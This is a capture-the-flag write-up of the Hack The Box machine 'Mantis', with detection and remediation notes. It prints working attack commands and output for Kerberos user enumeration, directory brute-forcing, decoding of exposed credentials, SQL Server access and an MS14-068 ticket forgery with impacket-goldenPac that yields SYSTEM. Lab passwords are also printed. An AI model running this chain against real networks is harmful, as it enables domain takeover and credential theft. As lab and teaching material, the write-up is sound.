HTB: Mantis
A notes file in a listable IIS directory gives a SQL Server login, the Orchard user table stores a domain user's password in plain text, and that one unprivileged account is enough to forge a Kerberos PAC (MS14-068) and run commands as SYSTEM on the domain controller.
- Published
- Reading time
- 19 min
- Difficulty
- hard
- Target
- Windows (Mantis)
Overview
Mantis is a hard-rated Windows Server 2008 R2 domain controller for
htb.local. Besides the usual directory ports it runs SQL Server 2014 Express
and two IIS sites: an Orchard CMS blog on 8080 and a default page on 1337.
The chain is short and has no exploit development in it. A long directory
wordlist finds /secure_notes/ on port 1337, where a developer’s install notes
hide two passwords behind encodings. One opens SQL Server as a low-privileged
login, which is enough to read the Orchard user table. That table holds a
domain user’s password in plain text. The account has no way to log in
interactively, but any valid domain credential is sufficient for MS14-068: the
domain controller accepts a Kerberos ticket whose privilege certificate the
client forged. From first scan to SYSTEM took 34 minutes, 23 of them spent
on the wordlist run that found the notes.
Reconnaissance
nmap -p- --min-rate 2000 -oN /work/scans/02-full.nmap 10.129.101.89 >/dev/null 2>&1 &
nmap -sC -sV -oN /work/scans/01-top1000.nmap 10.129.101.89
The full sweep found 26 open ports. Trimmed to the ones that matter, from the version scan:
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15CD4) (Windows Server 2008 R2 SP1)
[...]
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-11-23 19:41:59Z)
[...]
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds (workgroup: HTB)
[...]
1433/tcp open ms-sql-s Microsoft SQL Server 2014 12.00.2000.00; RTM
[...]
| Service pack level: RTM
| Post-SP patches applied: false
[...]
8080/tcp open http Microsoft IIS httpd 7.5
[...]
|_http-title: Tossed Salad - Blog
[...]
|_clock-skew: mean: 59m59s, deviation: 2h14m11s, median: -1s
DNS, Kerberos, LDAP and the global catalogue together mean a domain
controller. Two details are worth keeping from this output. SQL Server is at
its release build with no patches, which says something about how the host is
maintained. And the median clock skew is one second, so Kerberos will work
from my side without adjusting time. Port 1337 is in the full sweep only; nmap
calls it waste.
One script covered the anonymous checks. The relevant results:
### ldap rootDSE
dn:
defaultNamingContext: DC=htb,DC=local
dnsHostName: mantis.htb.local
domainFunctionality: 4
[...]
### smb null
[...]
SMB 10.129.101.89 445 MANTIS [+] htb.local\:
SMB 10.129.101.89 445 MANTIS [-] Error enumerating shares: STATUS_ACCESS_DENIED
### smb guest
[...]
SMB 10.129.101.89 445 MANTIS [-] htb.local\guest: STATUS_ACCOUNT_DISABLED
### rpc null
result was NT_STATUS_ACCESS_DENIED
The rootDSE gives the domain name and functional level (4 is 2008 R2); I
asked the directory nothing further anonymously. Port 8080 answers with X-Generator: Orchard and
a recipe blog with a sign-in link; /admin redirects to an access-denied page.
Port 1337 serves the stock IIS 7 welcome page, static, last modified
2017-09-01.
Kerberos will confirm usernames without credentials, because the KDC answers differently for a principal that exists:
(printf 'administrator\nadmin\nguest\nkrbtgt\nmantis\nsql\nsqlsvc\nsvc_sql\norchard\nwebadmin\nbackup\n'; cat /usr/share/seclists/Usernames/Names/names.txt) > /tmp/u.txt; wc -l /tmp/u.txt; kerbrute userenum -d htb.local --dc 10.129.101.89 -t 20 /tmp/u.txt
[...]
2026/11/23 19:47:31 > [+] VALID USERNAME: mantis@htb.local
2026/11/23 19:47:31 > [+] VALID USERNAME: administrator@htb.local
2026/11/23 19:48:32 > [+] VALID USERNAME: james@htb.local
2026/11/23 19:49:51 > Done! Tested 10724 usernames (3 valid) in 139.634 seconds
The list was eleven service-style names followed by the seclists
Names/names.txt. Neither james nor administrator has pre-authentication
disabled (impacket-GetNPUsers reported UF_DONT_REQUIRE_PREAUTH not set for
both), and three default SQL logins (sa with an empty password, sa:sa,
admin:admin) were refused. At this point I had a username and no secret.
The default page that is not empty
A default IIS page on a hand-picked port, with a 2017 modification date on a
2008 R2 server, is someone’s working directory. The first pass used a 26,584-word
lowercase directory list (IIS paths are case-insensitive) and found only the
stock aspnet_client. The second used the 207,000-word DirBuster medium list:
ffuf -s -t 40 -u http://10.129.101.89:1337/FUZZ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -mc 200,301,302,401,403 -of csv -o /work/scans/04-ffuf-1337-big.csv
[...]
secure_notes
The name is not in the smaller list. It is word 89,422 of 207,643 in this one, so the hit was written about ten minutes into a 23-minute run, and I did not look until the run ended: thirteen minutes idle that reading the output file part-way would have saved, on top of two lost to a mistyped wordlist path.
Attack Surface Analysis
Directory listing over a notes file (CWE-548, CWE-538)
curl -s -m 20 -i http://10.129.101.89:1337/secure_notes/
[...]
<pre><A HREF="/">[To Parent Directory]</A><br><br> 9/13/2017 4:22 PM 912 <A HREF="/secure_notes/dev_notes_NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx.txt.txt">dev_notes_NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx.txt.txt</A><br> 9/1/2017 9:13 AM 168 <A HREF="/secure_notes/web.config">web.config</A><br></pre><hr></body></html>
Directory browsing is on. web.config returns 404, which is IIS request
filtering doing its job; the notes file downloads. Its text, with the blank
padding lines removed:
1. Download OrchardCMS
2. Download SQL server 2014 Express ,create user "admin",and create orcharddb database
3. Launch IIS and add new website and point to Orchard CMS folder location.
4. Launch browser and navigate to http://localhost:8080
5. Set admin password and configure sQL server connection string.
6. Add blog pages with admin user.
Credentials stored in secure format
OrchardCMS admin creadentials 010000000110010001101101001000010110111001011111010100000100000001110011011100110101011100110000011100100110010000100001
SQL Server sa credentials file namez
Passwords protected by encoding (CWE-261)
“Secure format” is binary digits for one password and, per the last line, the file’s own name for the other. Neither is encryption: there is no key.
Application password stored in plain text (CWE-256)
One row of the Orchard user table holds a password as typed, labelled
Plaintext. Whether Orchard itself can write such a row or someone inserted
it by hand I did not establish, and I never tried that account on the blog’s
log-on form.
The same password in the application and the domain
The blog user and the domain user are the same person with the same password. No CWE describes reuse by a user precisely; the stored copy above is what makes it exploitable.
Unpatched Kerberos KDC (CWE-347, CVE-2014-6324)
Windows Server 2008 R2 without KB3011780 does not properly verify the signature on a Privilege Attribute Certificate.
Vulnerability Analysis
The encodings. The middle of the file name is base64. Decoded, it is a string of hex digits; decoded again, ASCII:
echo NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx | base64 -d
echo NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx | base64 -d | xxd -r -p
6d2424716c5f53405f504073735730726421
m$$ql_S@_P@ssW0rd!
The same pipeline, redirected, wrote the password to
artifacts/sql.pass with no trailing newline; later commands read it from
there (/work/artifacts/ inside the tooling container).
The binary string is 120 bits, fifteen 8-bit characters:
@dm!n_P@ssW0rd!. I never used that one. The Orchard admin panel would
probably have accepted it, but the database turned out to be the shorter road.
The PAC. A Kerberos ticket from a Windows KDC carries a PAC: the user’s SID and group SIDs, signed by the KDC so that services can trust it. The published description of MS14-068 is that the KDC’s check of that signature accepted checksum types that need no key, such as plain MD5. A client can compute an unkeyed checksum over anything. So a user asks for a ticket-granting ticket without a PAC, builds his own PAC listing Domain Admins and the other privileged groups, checksums it with MD5, and presents both in a follow-up request. An unpatched KDC accepts the forgery and issues a ticket built on it. The password of the forging account is the only secret needed, and it can be the least privileged account in the domain. I did not capture the exchange; what this session observed is the tool’s verdict and the result, shown below.
Exploitation
Phase 1: notes to SQL Server
The last line of the notes says sa. The second line says a user called
admin was created. I tried the decoded password on both; the command reads
it from a file inside the tooling container:
P=$(cat /work/artifacts/sql.pass); for u in sa admin; do nxc mssql 10.129.101.89 --local-auth -u $u -p "$P" 2>&1 | tail -1; done
MSSQL 10.129.101.89 1433 MANTIS [-] MANTIS\sa:m$$ql_S@_P@ssW0rd! (Login failed for user 'sa'. Please try again with or without '--local-auth')
MSSQL 10.129.101.89 1433 MANTIS [+] MANTIS\admin:m$$ql_S@_P@ssW0rd!
The notes are wrong about the account name, and the failed sa line doubles
as the negative control. A read-only script looked at the server:
select @@version;
select system_user, is_srvrolemember('sysadmin');
select name from sys.databases;
use orcharddb;
select table_name from information_schema.tables where table_name like '%User%';
impacket-mssqlclient "admin:$(cat /work/artifacts/sql.pass)@10.129.101.89" -file /work/artifacts/13-sql-enum.sql
[...]
Microsoft SQL Server 2014 - 12.0.2000.8 (X64)
Feb 20 2014 20:04:26
Copyright (c) Microsoft Corporation
Express Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (Hypervisor)
SQL> select system_user, is_srvrolemember('sysadmin');
- -
0 0
SQL> select name from sys.databases;
name
---------
master
tempdb
model
msdb
orcharddb
[...]
table_name
--------------------------------------
blog_Orchard_Users_UserPartRecord
blog_Orchard_Roles_UserRolesPartRecord
The second query printed badly: two unnamed columns one character wide, so
system_user shows as 0 too. I read the second 0 as “not sysadmin” and
did not re-run it with column aliases, so treat that as probable, not shown.
I also did not look at what a non-sysadmin login can still do (xp_dirtree
to a listener, impersonation grants, linked servers), because the next query
made it unnecessary.
Phase 2: SQL Server to a domain credential
use orcharddb;
select column_name from information_schema.columns where table_name='blog_Orchard_Users_UserPartRecord';
select UserName, Email, Password, PasswordFormat, HashAlgorithm, PasswordSalt from blog_Orchard_Users_UserPartRecord;
[...]
UserName Email Password PasswordFormat HashAlgorithm PasswordSalt
-------- --------------- -------------------------------------------------------------------- -------------- ------------- ------------------------
admin AL1337E2D6YHm0iIysVzG8LA76OozgMSlyOJk1Ov5WCGK+lgKY6vrQuswfWHKZn2+A== Hashed PBKDF2 UBwWF1CQCsaGc/P7jIR/kg==
James james@htb.local J@m3s_P@ssW0rd! Plaintext Plaintext NA
admin is a salted PBKDF2 hash. James is stored as typed, with a domain
mail address, and james is one of the three names Kerberos confirmed. The
password went into a file straight from the saved query output, again with
no trailing newline (ldapsearch -y sends the file’s bytes as they are):
awk '$1=="James"{printf "%s",$3}' artifacts/14-sql-users.out > artifacts/james.pass
One SMB login tests the reuse, with a deliberately wrong password after it:
P=$(cat /work/artifacts/james.pass); nxc smb 10.129.101.89 -d htb.local -u james -p "$P" --shares 2>&1 | grep -v Initializ | tail -12; nxc smb 10.129.101.89 -d htb.local -u james -p "$P" --users 2>&1 | tail -8; nxc smb 10.129.101.89 -d htb.local -u james -p "wrong-on-purpose-1" 2>&1 | tail -1
[...]
SMB 10.129.101.89 445 MANTIS [+] htb.local\james:J@m3s_P@ssW0rd!
[...]
SMB 10.129.101.89 445 MANTIS NETLOGON READ Logon server share
SMB 10.129.101.89 445 MANTIS SYSVOL READ Logon server share
[...]
SMB 10.129.101.89 445 MANTIS krbtgt 2017-09-01 00:05:39 0 Key Distribution Center Service Account
SMB 10.129.101.89 445 MANTIS james 2017-09-01 00:12:02 0
SMB 10.129.101.89 445 MANTIS [*] Enumerated 4 local users: HTB
SMB 10.129.101.89 445 MANTIS [-] htb.local\james:wrong-on-purpose-1 STATUS_LOGON_FAILURE
A valid domain user, not an administrator, with read access to the two logon
shares. An authenticated LDAP query showed what the account can do
(objectSid values replaced in my saved copy):
ldapsearch -x -H ldap://10.129.101.89 -D james@htb.local -y /work/artifacts/james.pass -b DC=htb,DC=local "(|(sAMAccountName=james)(sAMAccountName=Administrator))" sAMAccountName memberOf primaryGroupID objectSid adminCount
dn: CN=James,OU=HTB,DC=htb,DC=local
memberOf: CN=Remote Desktop Users,CN=Builtin,DC=htb,DC=local
primaryGroupID: 513
[...]
Remote Desktop Users, and the full port sweep has no 3389, 5985 or 5986. The credential is real and gives no shell. Domain Admins has one member, Administrator.
Phase 3: domain user to SYSTEM
What is left is the domain controller itself. It is 2008 R2 SP1, its SQL
Server has never been patched, and a domain credential is exactly the
prerequisite for MS14-068, fixed in November 2014. impacket-goldenPac forges
the PAC, then uses the resulting ticket to create a service through ADMIN$
and run a command. I gave it one command that collects everything, so the
service is created once. The script, run inside the container:
P=$(cat /work/artifacts/james.pass)
impacket-goldenPac "htb.local/james:$P@mantis.htb.local" -dc-ip 10.129.101.89 -target-ip 10.129.101.89 'cmd.exe /c "echo ###WHOAMI & whoami & hostname & echo ###KB3011780 & wmic qfe get HotFixID | findstr /C:KB3011780 & echo ###HOTFIXCOUNT & wmic qfe get HotFixID | find /c "KB" & echo ###USER & type C:\Users\james\Desktop\user.txt & echo ###ROOT & type C:\Users\Administrator\Desktop\root.txt & echo ###END"'
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] User SID: S-1-5-21-4220043660-4019079961-2895681657-1103
[-] Couldn't get forest info ([Errno Connection error (htb.local:445)] [Errno -3] Temporary failure in name resolution), continuing
[*] Attacking domain controller 10.129.101.89
[*] 10.129.101.89 found vulnerable!
[*] Requesting shares on 10.129.101.89.....
[*] Found writable share ADMIN$
[*] Uploading file wsoYcvHq.exe
[*] Opening SVCManager on 10.129.101.89.....
[*] Creating service JQKM on 10.129.101.89.....
[*] Starting service JQKM.....
[!] Press help for extra shell commands
###WHOAMI
nt authority\system
mantis
###KB3011780
###HOTFIXCOUNT
100
###USER
[...]
###ROOT
[...]
###END
[*] Opening SVCManager on 10.129.101.89.....
[*] Stopping service JQKM.....
[*] Removing service JQKM.....
[*] Removing file wsoYcvHq.exe.....
ADMIN$ is writable to an account that a minute earlier could read two
shares. The command ran as nt authority\system, and both flags came back in
the same output. The paths in the command were the defaults for the two
profile names; they were guesses that held.
The findstr for KB3011780 printed nothing: the fix is not in the hotfix
list. The count line printed 100, which I did not expect on a host I had
called unpatched from the SQL Server build. I did not list the hotfixes to
see what they are, so the accurate statement is narrow: this one update is
missing, whatever else is installed.
The name resolution error is the container having no entry for htb.local;
the tool carries on with the addresses given.
Post-Exploitation
Nothing further was run. goldenPac removed its service and binary, as its last four lines show. The machine was stopped once the flags were saved, so the event logs and the full hotfix list were not collected; the detection notes below are therefore what to look for, not what I saw.
SYSTEM on a domain controller is the end of the domain: the krbtgt key and
every account hash are readable from there. For a lab box the flags are the
stopping point.
Defensive Analysis
None of these were verified against the box’s logs.
Port 1337. IIS logs each request under inetpub\logs\LogFiles. This
session sent about 234,000 requests to one site in about 26 minutes of scanning, nearly all
404. A rate alert on 404s per source is the cheapest control in the chain.
Kerberos enumeration. 10,724 AS-REQs from one address in 140 seconds. With Kerberos authentication service auditing enabled, the domain controller’s Security log records failures as event 4768 with result code 0x6 for unknown principals. Volume from a single source is the signal.
SQL Server. Four failed SQL logins (event 18456 in the SQL error log and the Application log) from an address that is not the web server. The success that followed is not recorded by default, since SQL Server audits failed logins only; set login auditing to both, because the application’s database login has no reason to arrive from anywhere but localhost.
MS14-068. Microsoft’s guidance at the time of the patch was to look for
event 4624 logons where the security ID and the account name disagree, and on
patched systems for event 4769 failures with code 0xf. On this host the
simpler tell is a service install: event 7045 in the System log for a
randomly named service with a random binary in ADMIN$, created by a user
who is in no administrative group.
Remediation
- Install KB3011780 on every domain controller. It has been available since
November 2014. Then assume the domain was compromised and rotate
krbtgttwice. - Remove
/secure_notes/and the port 1337 site. I did not establish where browsing is switched on; the 168-byteweb.configin that directory is the likely place, and a directory-level file overrides a server default. So delete it, setdirectoryBrowseto false at server level and lock the section (appcmd lock config /section:directoryBrowse). The test is a request for the directory that returns 403. Encoded credentials are plain-text credentials. - Change the SQL login’s password and bind SQL Server to loopback or firewall 1433 to the web tier; the blog is on the same host and needs nothing more.
- Reset
james’s domain password now, and his Orchard one to something different. Find every row whosePasswordFormatis notHashedand force a reset through the application; theadminrow shows it can store a salted hash. - Do not run a CMS and a database on a domain controller. Each added service is a path to the one machine that must not fall.
None of these were applied or tested here. For item 1 the test is the attack:
impacket-goldenPac with a normal user must fail.
Key Takeaways
- A default page on a non-standard port deserves the long wordlist, and a long run deserves a look at its output before it ends. The first list missed the only directory that mattered; the second had it thirteen minutes before I read it.
- Read what a notes file says against what the system does. The notes named
sa; the working login was theadminuser mentioned five lines earlier. - A low-privileged database login is still a read of every application secret. Check the password format column before reaching for a cracker.
- A domain account with no logon rights anywhere is not harmless. On an unpatched KDC it is a domain administrator that has not been used yet.
- Ask one question of a privileged primitive, once. A single command that prints identity, patch state and the files needed means one service creation on the target, not five.